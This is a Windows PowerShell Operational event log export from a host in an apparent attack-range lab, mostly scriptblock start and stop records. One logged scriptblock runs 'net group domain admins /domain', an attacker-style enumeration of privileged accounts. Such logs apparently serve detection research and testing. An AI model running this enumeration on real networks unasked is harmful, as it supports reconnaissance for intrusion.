EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023690
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023688
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023687
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023686
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023684
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023683
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023682
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023680
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023679
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023678
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023677
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023676
Keywords=None
Message=Completed invocation of ScriptBlock ID: a67ac83b-066f-468c-8390-af42bd574a94
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023675
Keywords=None
Message=Started invocation of ScriptBlock ID: a67ac83b-066f-468c-8390-af42bd574a94
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023674
Keywords=None
Message=Creating Scriptblock text (1 of 1):
net group 'domain admins' /domain

ScriptBlock ID: a67ac83b-066f-468c-8390-af42bd574a94
Path:
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023672
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023670
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023669
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023668
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023666
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023664
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023662
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023660
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023703
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023701
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023699
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023697
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023695
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023713
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023711
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023709
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023707
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023705
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
